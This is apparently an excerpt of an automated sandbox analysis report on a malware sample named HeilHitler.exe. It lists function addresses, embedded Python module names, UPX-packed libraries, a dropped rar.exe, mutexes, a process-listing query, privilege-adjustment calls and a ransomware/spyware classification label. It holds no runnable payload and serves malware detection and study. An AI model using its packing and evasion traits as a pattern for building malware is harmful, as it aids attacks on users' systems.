Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAFAF700	1_2_00007FFDFAFAF700
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF422E8	1_2_00007FFDFAF422E8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF47045	1_2_00007FFDFAF47045
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41EA1	1_2_00007FFDFAF41EA1
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB17F460	1_2_00007FFDFB17F460
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF6B550	1_2_00007FFDFAF6B550
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45B0F	1_2_00007FFDFAF45B0F
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41B22	1_2_00007FFDFAF41B22
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB0E2A90	1_2_00007FFDFB0E2A90
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF44D04	1_2_00007FFDFAF44D04
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB022B40	1_2_00007FFDFB022B40
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45D9E	1_2_00007FFDFAF45D9E
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF423F1	1_2_00007FFDFAF423F1
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF46EEC	1_2_00007FFDFAF46EEC
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB07B020	1_2_00007FFDFB07B020
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF4213F	1_2_00007FFDFAF4213F
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF5EF00	1_2_00007FFDFAF5EF00
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF472C0	1_2_00007FFDFAF472C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF44633	1_2_00007FFDFAF44633
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41A4B	1_2_00007FFDFAF41A4B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF47077	1_2_00007FFDFAF47077
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF46FFA	1_2_00007FFDFAF46FFA
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43693	1_2_00007FFDFAF43693
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43486	1_2_00007FFDFAF43486
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41B31	1_2_00007FFDFAF41B31
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB076130	1_2_00007FFDFB076130
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45E20	1_2_00007FFDFAF45E20
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF460D7	1_2_00007FFDFAF460D7
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB072670	1_2_00007FFDFB072670
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41CC1	1_2_00007FFDFAF41CC1
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF44E4E	1_2_00007FFDFAF44E4E
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45A60	1_2_00007FFDFAF45A60
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF47252	1_2_00007FFDFAF47252
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43832	1_2_00007FFDFAF43832
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF435FD	1_2_00007FFDFAF435FD
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF41CFD	1_2_00007FFDFAF41CFD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AC90D73	7_2_00007FFD9AC90D73
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AD63027	7_2_00007FFD9AD63027
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD9ACB0D23	38_2_00007FFD9ACB0D23
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C154C0	68_2_00007FF702C154C0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C11180	68_2_00007FF702C11180
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C082F0	68_2_00007FF702C082F0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C01884	68_2_00007FF702C01884
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0B540	68_2_00007FF702C0B540
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0ABA0	68_2_00007FF702C0ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C37B24	68_2_00007FF702C37B24
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C10A2C	68_2_00007FF702C10A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2AE10	68_2_00007FF702C2AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2C3E0	68_2_00007FF702C2C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C30374	68_2_00007FF702C30374
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C12360	68_2_00007FF702C12360
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5832C	68_2_00007FF702C5832C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0A504	68_2_00007FF702C0A504
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C45468	68_2_00007FF702C45468
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2D458	68_2_00007FF702C2D458
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C641CC	68_2_00007FF702C641CC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C481CC	68_2_00007FF702C481CC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C42164	68_2_00007FF702C42164
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C042E0	68_2_00007FF702C042E0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C51314	68_2_00007FF702C51314
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C402A4	68_2_00007FF702C402A4
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C1D2C0	68_2_00007FF702C1D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C52268	68_2_00007FF702C52268
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C1E21C	68_2_00007FF702C1E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0F24C	68_2_00007FF702C0F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C27244	68_2_00007FF702C27244
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C267E0	68_2_00007FF702C267E0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C117C8	68_2_00007FF702C117C8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C338E8	68_2_00007FF702C338E8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C4190C	68_2_00007FF702C4190C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C30904	68_2_00007FF702C30904
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C518A8	68_2_00007FF702C518A8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C12890	68_2_00007FF702C12890
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C08884	68_2_00007FF702C08884
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5260C	68_2_00007FF702C5260C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C365FC	68_2_00007FF702C365FC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2F5B0	68_2_00007FF702C2F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C18598	68_2_00007FF702C18598
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3F59C	68_2_00007FF702C3F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3A710	68_2_00007FF702C3A710
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C40710	68_2_00007FF702C40710
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C42700	68_2_00007FF702C42700
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C686D4	68_2_00007FF702C686D4
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C186C4	68_2_00007FF702C186C4
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C57660	68_2_00007FF702C57660
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C59B98	68_2_00007FF702C59B98
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C44B38	68_2_00007FF702C44B38
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C56D0C	68_2_00007FF702C56D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C29D0C	68_2_00007FF702C29D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0DD04	68_2_00007FF702C0DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C45C8C	68_2_00007FF702C45C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C18C30	68_2_00007FF702C18C30
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C469FD	68_2_00007FF702C469FD
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C049B8	68_2_00007FF702C049B8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2D97C	68_2_00007FF702C2D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3D91C	68_2_00007FF702C3D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0CB14	68_2_00007FF702C0CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C6AAC0	68_2_00007FF702C6AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3FA6C	68_2_00007FF702C3FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C45A70	68_2_00007FF702C45A70
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C44FE8	68_2_00007FF702C44FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C6DFD8	68_2_00007FF702C6DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3C00C	68_2_00007FF702C3C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C6AF90	68_2_00007FF702C6AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C35F4C	68_2_00007FF702C35F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C600F0	68_2_00007FF702C600F0
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C20104	68_2_00007FF702C20104
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C30074	68_2_00007FF702C30074
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C2C05C	68_2_00007FF702C2C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C13030	68_2_00007FF702C13030
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C38040	68_2_00007FF702C38040
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0EE08	68_2_00007FF702C0EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C11E04	68_2_00007FF702C11E04
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C51DCC	68_2_00007FF702C51DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C49D74	68_2_00007FF702C49D74
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C30D20	68_2_00007FF702C30D20
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C3AF0C	68_2_00007FF702C3AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C09EFC	68_2_00007FF702C09EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C4EEA4	68_2_00007FF702C4EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C18E68	68_2_00007FF702C18E68
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5FE74	68_2_00007FF702C5FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C0CE84	68_2_00007FF702C0CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C4AE50	68_2_00007FF702C4AE50

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: String function: 00007FF702C18444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: String function: 00007FF702C449F4 appears 53 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF4483B appears 68 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF424B9 appears 51 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF44057 appears 437 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FF633D62710 appears 104 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF42A04 appears 39 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FF633D62910 appears 34 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAEEDCDF appears 213 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAEEDD75 appears 101 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF4300D appears 50 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAE812EE appears 563 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF42734 appears 294 times
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: String function: 00007FFDFAF41EF1 appears 730 times

Source: HeilHitler.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: HeilHitler.exe	Binary or memory string: OriginalFilename vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678668051.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678458745.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000000.1677023971.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemsra.exej% vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678252343.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1681133155.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1679683243.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1680725372.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678076504.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1677234536.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678337779.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678569630.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1680619720.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1677368472.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1677584002.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000000.00000003.1678764252.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs HeilHitler.exe
Source: HeilHitler.exe	Binary or memory string: OriginalFilename vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2038435153.00007FFE11528000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2040367940.00007FFE13347000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2039278900.00007FFE126FC000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2037694871.00007FFE0EB6D000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2037394805.00007FFDFB8A0000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2038962389.00007FFE11EE8000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2040120021.00007FFE13323000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2038719112.00007FFE11ECE000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000000.1681928618.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemsra.exej% vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2039781620.00007FFE130CC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2038035078.00007FFE10313000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2039519511.00007FFE12E1C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs HeilHitler.exe
Source: HeilHitler.exe, 00000001.00000002.2036329876.00007FFDFB42E000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs HeilHitler.exe
Source: HeilHitler.exe	Binary or memory string: OriginalFilenamemsra.exej% vs HeilHitler.exe

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python310.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989695677157001
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9974986001493175
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9949597928113553

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@139/52@2/2

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C1CAFC GetLastError,FormatMessageW,

68_2_00007FF702C1CAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C4B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		68_2_00007FF702C4B57C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C1EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		68_2_00007FF702C1EF50

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C23144 GetDiskFreeSpaceExW,

68_2_00007FF702C23144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_03
Source: C:\Users\user\Desktop\HeilHitler.exe	Mutant created: \Sessions\1\BaseNamedObjects\I
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03

Source: C:\Users\user\Desktop\HeilHitler.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI74322

Jump to behavior

Source: HeilHitler.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
